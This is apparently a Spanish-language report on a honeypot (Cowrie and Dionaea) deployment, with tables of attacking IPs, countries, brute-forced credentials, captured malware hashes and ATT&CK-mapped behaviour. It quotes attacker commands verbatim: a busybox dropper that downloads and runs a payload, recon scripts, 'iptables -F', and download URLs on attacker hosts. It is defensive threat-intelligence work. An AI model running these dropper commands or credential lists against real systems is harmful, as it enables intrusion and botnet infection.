<IP-CN-033>🇨🇳 China7denunciada
<IP-CN-034>🇨🇳 China7denunciada
<IP-CN-035>🇨🇳 China6denunciada
<IP-CN-036>🇨🇳 China5denunciada
<IP-CN-037>🇨🇳 China5denunciada
<IP-CN-038>🇨🇳 China4denunciada
<IP-CN-039>🇨🇳 China4denunciada
<IP-CN-040>🇨🇳 China4denunciada
<IP-CN-041>🇨🇳 China3baneada, denunciada
<IP-CN-042>🇨🇳 China2denunciada
<IP-CN-043>🇨🇳 China2denunciada
<IP-CN-044>🇨🇳 China2denunciada
<IP-CN-045>🇨🇳 China2denunciada
<IP-CN-046>🇨🇳 China1denunciada

(y 2 IPs más)

Ver las 14 órdenes de 5e4118608095
start
start
enable
config terminal
config terminal
system
system
linuxshell
linuxshell
su
sh
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x58\x4e\x54\x4e\x50\x53'
/bin/busybox wget;/bin/busybox echo -ne '\x58\x4e\x54\x4e\x50\x53'
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget <URL> ||curl -O <URL> ||/bin/busybox wget <URL> 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x53\x46\x4c\x53\x4c\x55\x4d\x52'

a907ec7650e4 : 13 IPs, 43 sesiones, 3.741 órdenes · visto del 2026-08-28 20:56 al 2026-09-05 22:26

IPPaísSesiones con este guionEstado
<IP-NL-015>🇳🇱 Países Bajos6denunciada
<IP-NL-016>🇳🇱 Países Bajos6denunciada
<IP-NL-017>🇳🇱 Países Bajos5denunciada
<IP-NL-018>🇳🇱 Países Bajos5denunciada
<IP-NL-019>🇳🇱 Países Bajos4denunciada
<IP-NL-020>🇳🇱 Países Bajos3denunciada
<IP-NL-021>🇳🇱 Países Bajos3denunciada
<IP-AD-001>🇦🇩 Andorra3denunciada
<IP-NL-022>🇳🇱 Países Bajos2denunciada
<IP-AD-002>🇦🇩 Andorra2denunciada
<IP-AD-003>🇦🇩 Andorra2denunciada
<IP-AD-004>🇦🇩 Andorra1denunciada
<IP-NL-023>🇳🇱 Países Bajos1denunciada
Ver las 40 primeras de 87 órdenes de a907ec7650e4
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo "")
uname -s -v -n -m 2 > /dev/null
head -1 /proc/version | cut -d -f1 )
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo "")
uname -m 2 > /dev/null
grep -q lm /proc/cpuinfo
echo x86_64 )
grep -q CPU architecture: 8 /proc/cpuinfo
( [ -f /proc/cpuinfo ]
[ -f /proc/cpuinfo ]
grep -q CPU architecture: 7 /proc/cpuinfo
echo
uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)
cat /proc/uptime 2 > /dev/null
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null)
nproc 2 > /dev/null
cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )
{ lscpu 2 > /dev/null | awk -F: /Model name/ {print $2}
{ lscpu
grep -m1 -E ^model name /proc/cpuinfo 2 > /dev/null | cut -d: -f2-
grep -m1 -E ^Hardware /proc/cpuinfo 2 > /dev/null | cut -d: -f2-
cat /proc/device-tree/model 2 > /dev/null
} | sed /^$/d
}
/unknown/d
/unknown/d
s/^ [ [ :space: ] ] *//
s/^ [ [ :space: ] ] *//
s/ [ [ :space: ] ] *$//
s/ [ [ :space: ] ] *$//
s/ AArch64 Processor$//
s/ AArch64 Processor$//
s/ Processor$//
s/ Processor$//
s/ CPU$// | head -1
s/ CPU$//
gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
(lspci 2 > /dev/null | grep -i vga
lspci 2 > /dev/null | grep -i nvidia
... y 47 órdenes más

4. IPs

IPPaísVíaSesionesÓrdenesLogins fallidos (SSH)MuestrasSu orden más repetidaEstado
<IP-PK-006>PK 🇵🇰telnet17.12637.212-0start ×5316denunciada
<IP-PK-007>PK 🇵🇰telnet14.42020.443-7start ×1350baneada, denunciada
<IP-PK-008>PK 🇵🇰telnet5.55717.080-2start ×284baneada, denunciada
<IP-PK-009>PK 🇵🇰telnet26.22816.034-1start ×2288baneada, denunciada
<IP-PK-010>PK 🇵🇰telnet4.22513.702-1start ×1524baneada, denunciada
<IP-NL-024>NL 🇳🇱telnet1768.587-7echo -e "\x47\x41\x59" ×528denunciada
<IP-PK-011>PK 🇵🇰telnet1.1016.549-1start ×792baneada, denunciada
<IP-PK-012>PK 🇵🇰telnet9136.036-1start ×718baneada, denunciada
<IP-PK-013>PK 🇵🇰telnet2.0305.703-0start ×608baneada, denunciada
<IP-PK-014>PK 🇵🇰telnet1.7345.494-1start ×642baneada, denunciada
<IP-PK-015>PK 🇵🇰telnet1.6795.465-1start ×636baneada, denunciada
<IP-PK-016>PK 🇵🇰telnet1.1405.301-1start ×614baneada, denunciada
<IP-PK-017>PK 🇵🇰telnet5.7725.178-1start ×626baneada, denunciada
<IP-PK-018>PK 🇵🇰telnet1.8674.977-1start ×568baneada, denunciada
<IP-PK-019>PK 🇵🇰telnet2.0034.828-1start ×614baneada, denunciada
<IP-CN-047>CN 🇨🇳telnet1.4144.730-1start ×530baneada, denunciada
<IP-PK-020>PK 🇵🇰telnet1.2804.706-1start ×528baneada, denunciada
<IP-CN-048>CN 🇨🇳telnet11.5224.654-0start ×518denunciada
<IP-CN-049>CN 🇨🇳telnet12.3524.533-1start ×504baneada, denunciada
<IP-CN-050>CN 🇨🇳telnet14.7184.494-1start ×512baneada, denunciada
<IP-CN-051>CN 🇨🇳telnet12.6794.454-1start ×492baneada, denunciada
<IP-CN-052>CN 🇨🇳telnet12.1704.416-1start ×488baneada, denunciada
<IP-PK-021>PK 🇵🇰telnet1.4014.408-1start ×516baneada, denunciada
<IP-CN-053>CN 🇨🇳telnet8.6684.278-1start ×410baneada, denunciada
<IP-PK-022>PK 🇵🇰telnet6.3444.144-1start ×542baneada, denunciada

La columna de logins fallidos lleva un guion (-), y no un cero, en las IPs que solo entraron por Telnet: este informe solo cuenta los logins de SSH, así que de una sesión de Telnet no se sabe si probó credenciales. Un cero diría que probó y no acertó, que es otra cosa.

4.1  Por país

Las cifras de esta tabla son solo de Cowrie: sesiones y órdenes son cosas de Cowrie, así que sus IPs también. La lista de "Todos los países que han atacado" cuenta las de los dos señuelos, y por eso un mismo país puede salir allí con más IPs que aquí. No es un descuadre: las dos cifras cuentan cosas distintas.

PaísIPs (Cowrie)SesionesÓrdenes tecleadasBaneadas
🇺🇸 US82632.9556.0441
🇷🇺 RU48511.4353.3101
🇨🇳 CN444206.80581.55822
🇺🇦 UA3553.8751.9470
🇦🇷 AR3081.1702020
🇧🇷 BR2314.6551830
🇮🇩 ID2054.433200
🇵🇰 PK195251.173281.14349
🇮🇳 IN1632.476670
🇩🇪 DE1578.5081190
🇳🇱 NL14823.44614.4650
🇻🇳 VN1307.345670
🇬🇧 GB118588830
🇫🇷 FR1096.3721290
🇿🇦 ZA1083591360
🇨🇦 CA96528480
🇹🇷 TR921.325870
🇰🇷 KR915813670
🇲🇽 MX7158380
🇧🇪 BE71266340
🇭🇰 HK694161670
🇨🇱 CL6835000
🇮🇹 IT676356470
🇸🇪 SE612453350
🇺🇿 UZ55199250

4.2  Por red /24

Agrupar las IPs por su red sirve para ver si detrás de muchas direcciones hay unas pocas redeso si el reparto está disperso. Las cifras de abajo lo dicen.

La tabla va de las redes con más direcciones a las que menos tienen. Mira la columna de órdenes para saber si además teclean algo o solo tocan y se van, la misma distinción que se hace en "Cuánto duran".

RedIPsPaísSesionesÓrdenesConexiones (Dionaea)Baneadas
<IP-US-008>/2494🇺🇸 US10804700
<IP-CA-002>/2456🇨🇦 CA640830
<IP-US-009>/2456🇺🇸 US500290
<IP-US-010>/2455🇺🇸 US420320
<IP-DE-001>/2455🇩🇪 DE160500
<IP-US-011>/2447🇺🇸 US380310
<IP-US-012>/2434🇺🇸 US160310
<IP-ZA-002>/2431🇿🇦 ZA45000
<IP-US-013>/2427🇺🇸 US16.9441600
<IP-ZA-003>/2426🇿🇦 ZA40000
<IP-US-014>/2426🇺🇸 US180180
<IP-US-015>/2424🇺🇸 US35000
<IP-CZ-001>/2423🇨🇿 CZ100290
<IP-US-016>/2420🇺🇸 US12080
<IP-GB-001>/2420🇬🇧 GB10220
<IP-FR-001>/2419🇫🇷 FR110100
<IP-GB-002>/2417🇬🇧 GB40140
<IP-NL-025>/2415🇳🇱 NL5.5851000
<IP-SI-001>/2415🇸🇮 SI407000
<IP-US-017>/2413🇺🇸 US10050
<IP-DE-002>/2413🇩🇪 DE80150
<IP-US-018>/2413🇺🇸 US150160
<IP-US-019>/2413🇺🇸 US20080
<IP-NL-026>/2412🇳🇱 NL4.3901300
<IP-VN-003>/2412🇻🇳 VN151000

4.3  Las que tocaron los dos señuelos

163 IPs de las 7.574 aparecen en los dos señuelos: el 2,2% del total. Los dos escuchan en direcciones públicas distintas (una para el Linux y otra para el Windows, a propósito, porque un mismo host con SSH de Debian y SMB de Windows sería sospechoso). Quien aparece en los dos no buscaba un servicio concreto: ha recorrido el rango entero del proveedor.

IPPaísSesiones (Cowrie)ÓrdenesConexiones (Dionaea)Estado
<IP-BR-004>BR 🇧🇷4083denunciada
<IP-US-020>US 🇺🇸26046denunciada
<IP-US-021>US 🇺🇸9041denunciada
<IP-BE-001>BE 🇧🇪3032denunciada
<IP-BR-005>BR 🇧🇷3027denunciada
<IP-BR-006>BR 🇧🇷4027denunciada
<IP-US-022>US 🇺🇸14023denunciada
<IP-US-023>US 🇺🇸1023denunciada
<IP-US-024>US 🇺🇸1022denunciada
<IP-US-025>US 🇺🇸1022denunciada
<IP-US-026>US 🇺🇸1022denunciada
<IP-US-027>US 🇺🇸1021denunciada
<IP-US-028>US 🇺🇸22021denunciada
<IP-US-029>US 🇺🇸1021denunciada
<IP-UA-012>UA 🇺🇦4019denunciada
<IP-US-030>US 🇺🇸2017denunciada
<IP-US-031>US 🇺🇸2016denunciada
<IP-US-032>US 🇺🇸2014denunciada
<IP-US-033>US 🇺🇸3012denunciada
<IP-US-034>US 🇺🇸2012denunciada
<IP-US-035>US 🇺🇸2011denunciada
<IP-US-036>US 🇺🇸1011denunciada
<IP-US-037>US 🇺🇸4011denunciada
<IP-US-038>US 🇺🇸1010denunciada
<IP-US-039>US 🇺🇸1010denunciada

4.4  IPs baneadas

En total 74, según la memoria del bot. Se cruzan aquí con lo que hicieron: una IP baneada que no había tecleado nada entró por el baneo automático de repetición, no por lo que hizo en la sesión.

4.5  Quién ordenó cada baneo

Las puestas a mano, una a una: <IP-SI-002>, <IP-PK-023>, <IP-PK-024>, <IP-PK-008>, <IP-PK-017>

IPPaísSesionesÓrdenesPrimera vezDenunciada
<IP-PK-007>PK 🇵🇰14.42020.4432026-08-25 15:23sí
<IP-PK-008>PK 🇵🇰5.55717.0802026-09-03 21:22sí
<IP-PK-009>PK 🇵🇰26.22816.0342026-08-23 04:15sí
<IP-PK-010>PK 🇵🇰4.22513.7022026-09-03 20:41sí
<IP-PK-011>PK 🇵🇰1.1016.5492026-08-31 14:10sí
<IP-PK-012>PK 🇵🇰9136.0362026-09-06 09:13sí
<IP-PK-013>PK 🇵🇰2.0305.7032026-09-04 21:46sí
<IP-PK-014>PK 🇵🇰1.7345.4942026-09-03 13:11sí
<IP-PK-015>PK 🇵🇰1.6795.4652026-09-01 21:28sí
<IP-PK-016>PK 🇵🇰1.1405.3012026-09-03 01:31sí
<IP-PK-017>PK 🇵🇰5.7725.1782026-09-09 06:35sí
<IP-PK-018>PK 🇵🇰1.8674.9772026-08-29 17:23sí
<IP-PK-019>PK 🇵🇰2.0034.8282026-08-31 19:21sí
<IP-CN-047>CN 🇨🇳1.4144.7302026-09-02 03:51sí
<IP-PK-020>PK 🇵🇰1.2804.7062026-09-07 03:54sí
<IP-CN-049>CN 🇨🇳12.3524.5332026-09-03 19:49sí
<IP-CN-050>CN 🇨🇳14.7184.4942026-09-06 18:51sí
<IP-CN-051>CN 🇨🇳12.6794.4542026-08-31 21:59sí
<IP-CN-052>CN 🇨🇳12.1704.4162026-08-30 17:01sí
<IP-PK-021>PK 🇵🇰1.4014.4082026-09-09 02:23sí
<IP-CN-053>CN 🇨🇳8.6684.2782026-09-06 18:47sí
<IP-PK-022>PK 🇵🇰6.3444.1442026-08-31 13:41sí
<IP-PK-025>PK 🇵🇰5.4054.0302026-08-29 21:37sí
<IP-PK-026>PK 🇵🇰1.2084.0062026-09-03 02:29sí
<IP-PK-027>PK 🇵🇰1.1883.9812026-09-02 03:21sí

5. Credenciales probadas

5.1  Las que funcionaron

O sea, las que pusimos nosotros en userdb.

Usuario:claveVeces
admin:admin766
root:root233

5.2  Qué hicieron los que acertaron

Entrar y no hacer nada no indica un fallo del señuelo. Es lo habitual en quien solo quiere saber si la clave vale, para apuntarla o venderla. Quien viene a usar la máquina se queda y teclea.

CredencialSesionesTeclearon algoÓrdenesIPs distintas
admin:admin7661503.610172
root:root2331685.088157

5.3  Las más intentadas sin éxito

Es el diccionario de contraseñas que traen los atacantes.

Usuario:claveVeces
root:password201
root:admin201
root:12345196
root:123456193
root:1234163
root:12345678162
root:123456789157
root:151
root:qwerty146
root:admin123138
admin:129
root:passw0rd128
admin:123456127
root:111111126
admin:123456789123
admin:password123
root:root123122
root:P@ssw0rd122
root:123123119
admin:admin123118
root:123115
root:toor112
root:1q2w3e4r111
admin:1234106
cat: iae: No such file or directory99

5.4  Usuarios más buscados

UsuarioVeces
root37.815
admin5.666
ubuntu3.845
wallet2.757
crypto1.866
deploy1.719
user1.422
mysql1.161
cloud954
test943
node878
server877
docker873
panel752
pm2647
blockchain646
solana537
debian508
postgres501
bitcoin486
ec2-user474
centos453
guest411
support409
user1397

6. Malware capturado

Los dos señuelos juntos. El SHA-256 se calcula del fichero, no se da por bueno el nombre: Cowrie y Dionaea nombran sus capturas por su hash, pero eso es una convención y un respaldo hecho en caliente puede dejar un fichero a medias con el nombre entero.

4.186 ficheros apartados: no son muestras. Suman 271,0 MB. Se ha mirado el contenido, no el nombre.
Qué eraFicherosQué significa
artefacto4.161Líneas de syslog: es el /var/log/auth.log que el propio señuelo genera en cada sesión y persiste con Artifact(), que escribe en este mismo directorio. Salida nuestra, no captura
texto25Texto plano sin formato reconocible
357binarios distintos
58de Cowrie
299de Dionaea
1545 MBen total
12.720entregas registradas
343ya publicados

6.1  Los más entregados

Ordenados por cuántas veces se entregó el mismo binario. Una muestra que llega cientos de veces desde decenas de IPs es una campaña; una que llega una sola vez suele ser una prueba.

SHA-256 (calculado)MD5SeñueloTipoBytesEntregasIPs distintasURLPublicado
f6c97b1e2ed02578ca10…3849f30b51a5CowrieELF137.4804.57733http://<IP-CN-054>:37040/isí
4293c1d8574dc87c5836…59ce0baba118CowrieELF135.7843.61528http://<IP-PK-028>:46913/bin.shsí
12013662c71da69de977…eec5c6c21953CowrieELF307.9602.02816http://<IP-ZA-004>:34643/bin.shsí
3c060e8c70da8634814e…8614baad7be3CowrieELF135.78576011-sí
94990cc87f4fc49c54cd…0f620f09be06CowrieELF137.4812514-sí
a6296a79f44e21b76604…e7a5b5247aefCowriescript306190166http://<IP-NL-024>/wgetno
b5cf68c7cb5bb2d21d60…a73ddd6ec224CowrieELF135.4721443http://<IP-CN-055>:58232/isí
acd0712ea85c759020b4…880d819bdaddCowrieELF307.961926-sí
84030c2aa04a54c25edb…8d85f3625bd3DionaeaPE5.298.1768772-sí
d0df38cd4febaa3f20da…1c7eb62ee673DionaeaPE5.298.1764742-sí
8429bc3f819bae0b2aa6…7ecd3b8fbf1dDionaeaPE5.298.1763634-sí
f0aa83bbbd2c75e2f71e…1f47ecc10bc0CowrieELF1.989.056341-sí
8e1a67a5c03b3cd818f0…8e7e88377aaeCowrieELF1.838.060341-sí
3f3bf218089d1488617d…117dd0c3e5b3CowrieELF1.759.768341-sí
d1cac82f44b54b0fd244…0e0328dc8084CowrieELF1.696.412341-sí
d70f917e35813a7ae323…1ed17cd8d521CowrieELF1.448.252341-sí
1e70b63472772e3f5092…224b41af1717Cowriescript2.126341-sí
3f3a11bafabb1a35db91…2ca1a863f6a1Cowriescript1.157341-sí
9eacc45bc8c6a2e4954e…88789a1cc82dDionaeaPE5.298.1762321-sí
4f4f30d07cc0ed90a92e…a554260842beDionaeaPE5.298.1762018-sí
3362653be0698bc4350a…e52961e85075DionaeaPE5.298.1761815-sí
f30601be8c2b6d0c0c58…8f243b919437DionaeaPE5.298.1761818-sí
77e6a584064432eb4d9e…1af87674ad8bDionaeaPE5.298.1761513-sí
63fb2c7a969f3c6bbfba…fe95c994e264DionaeaPE5.298.1761311-sí
7e23f5102584a559b373…30f52c64bf9eCowrieELF135.47391-sí

6.2  Agrupados por tamaño

Decenas de binarios distintos que pesan casi lo mismo suelen ser el mismo programa recompilado con variaciones de unos bytes. Por eso el número de muestras distintas engaña si se lee como número de familias.

Tamaño aproximadoBinarios distintos
5.174 KB269
1 KB24
0 KB6
64 KB5
132 KB4
2 KB3
300 KB2
134 KB2

269 de los 357 binarios distintos (75,4%) pesan exactamente 5.298.176 bytes, no parecido: el mismo número al byte, con 269 hashes distintos. Contarlos como 357 muestras distintas es correcto; leerlos como 357 programas distintos, no.

6.3  Quién sirve el malware, y además ataca

La URL de origen de una muestra dice de dónde se la bajó el señuelo. Estas direcciones aparecen ahí y en la lista de atacantes: se conectaron ellas mismas y, además, sirvieron el binario a otras. Eso apunta a la infraestructura de quien dirige el ataque, más que a una máquina infectada que alguien usa de paso.

IP que sirvePaísMuestrasEntregasIPs en cuyas sesiones se descargóSu propia actividad
<IP-NL-024>NL 🇳🇱1190166176 sesiones · 8.587 órdenes
<IP-DZ-001>DZ 🇩🇿120212 conexiones a Dionaea
<IP-NL-027>NL 🇳🇱1111 sesión · 2 órdenes
19 muestras que el log menciona y cuyo fichero no está en el respaldo. Sin el fichero no se pueden analizar ni publicar.
2 capturas de Cowrie en disco que el log no referencia con ningún evento de descarga o subida. Están contadas arriba porque el fichero existe y su hash está calculado, pero no se sabe por qué vía entraron: eso hay que averiguarlo, no suponerlo.

7. TTPs

La conducta y los recuentos son observados. La columna ATT&CK es inferida: es nuestra lectura de esa conducta, y sale de ANALISIS/ttp.tsv.

Conducta observadaVecesIPsEjemploATT&CK (inferido)
Fuerza bruta por adivinación de contraseña98.0832.160-T1110.001
Cambio de permisos de fichero en Linux24.658381>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>…T1222.002
Transferencia de herramientas al objetivo86.352362/bin/busybox wget;/bin/busybox echo -ne '\x4f…T1105
Borrado de ficheros21.863362>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>…T1070.004
Ficheros o información ofuscados49.027307>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>…T1027
Ejecución por el usuario de un fichero malicioso22.133300>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>…T1204.002
Cuentas válidas999258-T1078
Descubrimiento de información del sistema1.725126uname=$(uname -s -v -n -m 2>/dev/null || /bin…T1082
Intérprete de órdenes de Unix56890filter_output=$( ( export LANG=C LC_ALL=C; ec…T1059.004
Descubrimiento del usuario del sistema4740idT1033
Descubrimiento de cuentas locales3734cat /etc/passwdT1087.001
Descubrimiento de procesos2020ps -ef | grep '[Mm]iner'T1057
Descubrimiento de la configuración de red1313ifconfigT1016
Suplantación por nombre o ubicación66chmod +x ./.<HEX>/sshd;nohup ./.<HEX>/sshd <I…T1036.005
Desactivar o modificar el cortafuegos44iptables -FT1562.004
Descubrimiento de servicios de red142apt-get install masscan -yT1046
Sudo y cacheo de sudo72sudo apt-get update -yT1548.003
Manipulación de claves autorizadas de SSH341chmod +x clean.sh; sh clean.sh; rm -rf clean.…T1098.004
Protocolo de capa no aplicativa21nohup $SHELL -c "curl <URL> -o /tmp/925iFKXna…T1095

7.1  Órdenes sin técnica asignada

No casan con ninguna fila de ttp.tsv. Merecen una mirada: o son ruido, o son una técnica que falta por añadir. Esta tabla es la lista de tareas de la tabla de técnicas.

OrdenVeces
system45.472
linuxshell45.244
start42.602
config terminal42.602
enable22.748
sh22.741
su21.309
cp /bin/ls ii6.724
cat i > ii6.724
cp ii i6.724
rm ii6.724
rm i5.622
shell2.880
enablelinuxshell802
rm /dev/.t; rm /dev/.sh; rm /dev/.human500
ping ;sh409
/bin/busybox361
/bin/busybox UNSTABLE246
printf243
esac243
cd /proc && cat self/cmdline230
cd /dev/179
rm /run/lock/.t; rm /run/lock/.sh; rm /run/lock/.human178
rm /run/.t; rm /run/.sh; rm /run/.human177
rm /.t; rm /.sh; rm /.human176
31.360 entradas (1.818 distintas) no son órdenes: son bytes. Llegan por Telnet (negociación IAC y carga cruda) y Cowrie las anota en el mismo campo que una línea tecleada, así que aquí no cuentan como técnica ni como orden sin mapear. Los bytes de control se escriben en su forma \x00; el rombo � no se puede deshacer: lo escribe Cowrie al decodificar los bytes del atacante antes de anotarlos, así que cuando el informe lee el registro el byte original ya no existe. Lo que se perdió, se perdió en la captura y no aquí.

7.2  Lo que no se ha visto

Estas conductas se buscaron y no aparecieron ni una vez. No es lo mismo que no haberlas mirado: ttp.tsv es la lista de lo que este informe sabe reconocer, y estas son las filas que se quedaron a cero.

Conducta que no apareceATT&CK
Descubrimiento de software de seguridadT1518.001
Descubrimiento de conexiones de redT1049
Descubrimiento de ficheros y directoriosT1083
Evasión por detección de depurador o virtualizaciónT1622
Intérprete de PythonT1059.006
Servicio de systemdT1543.002
Tarea programada con cronT1053.003
Arranque por perfil de shellT1546.004
Creación de cuenta localT1136.001
Borrado del historial de órdenesT1070.003
Desactivar herramientas de seguridadT1562.001
Parada de servicioT1489
Descifrado o decodificación de ficherosT1140
Claves privadasT1552.004
Credenciales en ficherosT1552.001
Secuestro de recursosT1496
Secuestro de recursosT1496
Parada de servicioT1489
Puerto no estándarT1571
Explotación para escalada de privilegiosT1068

Que no aparezca no prueba que no ocurriera, solo que no dejó rastro reconocible en lo que este señuelo puede ver. Un Cowrie no observa movimiento lateral ni persistencia real porque no hay a dónde moverse ni dónde quedarse.

8. Dionaea: qué se toca por el lado Windows

ServicioPuertoConexionesIPs
smbd445207.9541.245
mssqld1433915322
epmapper135755293

8.1  Quién más insiste

IPPaísConexiones
<IP-IN-006>IN 🇮🇳11.821
<IP-CN-056>CN 🇨🇳11.028
<IP-RU-003>RU 🇷🇺11.021
<IP-CN-057>CN 🇨🇳11.012
<IP-EG-001>EG 🇪🇬11.007
<IP-RU-004>RU 🇷🇺10.626
<IP-IR-001>IR 🇮🇷9.461
<IP-BO-001>BO 🇧🇴3.335
<IP-ZA-005>ZA 🇿🇦3.161
<IP-RU-005>RU 🇷🇺3.149
<IP-CN-058>CN 🇨🇳3.147
<IP-RU-006>RU 🇷🇺3.120
<IP-RU-007>RU 🇷🇺3.119
<IP-LB-001>LB 🇱🇧3.116
<IP-VN-004>VN 🇻🇳3.116
<IP-LV-001>LV 🇱🇻3.114
<IP-SA-002>SA 🇸🇦3.113
<IP-CO-002>CO 🇨🇴3.112
<IP-BA-001>BA 🇧🇦3.111
<IP-ZA-006>ZA 🇿🇦3.111
<IP-EG-002>EG 🇪🇬3.111
<IP-VN-005>VN 🇻🇳3.111
<IP-IN-007>IN 🇮🇳3.111
<IP-BG-001>BG 🇧🇬3.110
<IP-ID-002>ID 🇮🇩3.110

A. De dónde salen los datos

Una sección vacía más arriba puede significar dos cosas distintas: que no hubo actividad, o que el fichero no estaba en el respaldo. Esta tabla las separa.

FuenteQuéEstáDetalle
Sesiones de Cowriecowrie.json*sí21 ficheros, 1,16 GB
Malware de Cowrielib/cowrie/downloads/sí28.396 ficheros
Eventos de Dionaeadionaea.sqlitesí1 fichero, 51,3 MB
Malware de Dionaealib/dionaea/binaries/sí299 ficheros
Estado del reporterstate.sqlite3sí1 fichero, 187,1 MB
Memoria del botcowrie_telegram_state.jsonsí1 fichero, 1,2 MB
Reglas del cortafuegosnftables-rulesetsí1 fichero, 0 B

A.1  Y qué hay en el directorio de capturas de Cowrie

Qué esFicherosQué significa
Capturas4.244Ficheros con nombre SHA-256: esto sí es malware capturado
Sondas de escritura23.593Ficheros de 0 bytes que deja Cowrie cuando el atacante redirige la salida a un fichero para ver si puede escribir (por ejemplo >/var/run/.x). No son muestras: son la huella de una prueba para encontrar un directorio escribible
Temporales85Restos de tempfile
Otros474Sin clasificar

A.2  Cómo se ha hecho este informe

Para que esto se pueda repetir y comprobar: de dónde salieron los datos, con qué se leyeron y qué hay exactamente dentro de cada fuente. Los hashes son de los ficheros del respaldo tal como estaban al leerlos.

QuéValor
Respaldo analizadorespaldo
Orden que lo generóanalisis.py --respaldo respaldo --salida analisis-senuelo-202…
Herramientaanalisis.py · SHA-256 b14423f1f3c25dd2ffebd3bb539d60df…
EntornoPython 3.12.3 en linux
Generado2026-09-15 15:55:10 UTC
Huso aplicado a CowrieEurope/Kyiv
FuentePatrónQué haySHA-256
Sesiones de Cowriecowrie.json*21 ficheros · 1,16 GBc3db6f25a17dd9ebe15be873f970f273…
Malware de Cowrielib/cowrie/downloads/28.396 ficherosel SHA-256 de cada uno se calcula aparte (ver "Malware capturado")
Eventos de Dionaeadionaea.sqlite1 fichero · 51,3 MBd07b0022519786afe694700a785999e6…
Malware de Dionaealib/dionaea/binaries/299 ficherosel SHA-256 de cada uno se calcula aparte (ver "Malware capturado")
Estado del reporterstate.sqlite31 fichero · 187,1 MB82fe8469890cef68388514b87be917f3…
Memoria del botcowrie_telegram_state.json1 fichero · 1,2 MB37a840ce8646f2ef548bc92e187a5932…
Reglas del cortafuegosnftables-ruleset1 fichero · 11,9 KB54dc579e7ccd4d0248057aea6f39ef74…

Cuando una fuente son varios ficheros, el hash de la tabla es el de la lista ordenada de sus hashes: exactamente lo que sale de sha256sum FICHEROS | sort | sha256sum en la carpeta del respaldo. No es el hash de ningún fichero concreto; los individuales están aquí debajo.

Los 21 ficheros de Sesiones de Cowrie, uno a uno
8f2b3b65f5c6b7e8d215bf4701a1a17138f4e1e47068893abacc27e0b8f1a975  cowrie.json
faabe867fd2b1f2cfd78ab4f8ade2b6a42c48e4cf33400c70d7851630c2d2355  cowrie.json.2026-08-22
eb660cdc25226f62d3f2aa0dce5540ed814c0b9c5b1c33a1e433121c2a2529ec  cowrie.json.2026-08-23
ee415ad9ef44ddfc61a7d1fe2ca4c604b61159c1c693de8c83e9261f0c775ec3  cowrie.json.2026-08-24
3d944cb320eafcc79d92a3158b964de60f02cb0ba5d65a340c6d44814606bfbc  cowrie.json.2026-08-25
c2ec7b17c4da5b93523ffbd3c4a000dba35b6f32ee1548bd7236b551bd333fb5  cowrie.json.2026-08-26
04eb871e55683ed02a0dab542c4bd266e0f7f5851be98d88907d3fbda746afe6  cowrie.json.2026-08-27
75c95058f2e58ab817604db3a3cae53f485c87d3edb62483c8498fe684f4eb17  cowrie.json.2026-08-28
15c72d88be9e99f08dbc96c16574f9bad8a5213b2721d908fe3c1e6f31302f45  cowrie.json.2026-08-29
0e827fe64f73a9925f495febb3d14691ce726cb79a4279375f05cb0973668fe7  cowrie.json.2026-08-30
078202e84d2452eff2d193684e7806b34cdef66826d2a9851b962221addf388c  cowrie.json.2026-08-31
0b6199adb5d512eccebfc1aa2f03bb9961e80d775831ddea5b267e36ca013159  cowrie.json.2026-09-01
41bb5ecf4abf67c3eca7d81541aae5bdae6e42bf86464a62765fb000b3efe40d  cowrie.json.2026-09-02
201691f1a5fd8b39461a33467af68491e02f8ecd1c0344a930997efdfcfbd444  cowrie.json.2026-09-03
8ba19580dafea800891dc5bff343ab5b70c3f686fbd0c0832545a2542554d21c  cowrie.json.2026-09-04
14f36bfb65e5154c58c737745b8939057a486aeb3c97a6c03dd9e2459d92842b  cowrie.json.2026-09-05
d29867ee1a48dc16a7d1c3c4455c08e89af617d8723219a40148f765aaa62f85  cowrie.json.2026-09-06
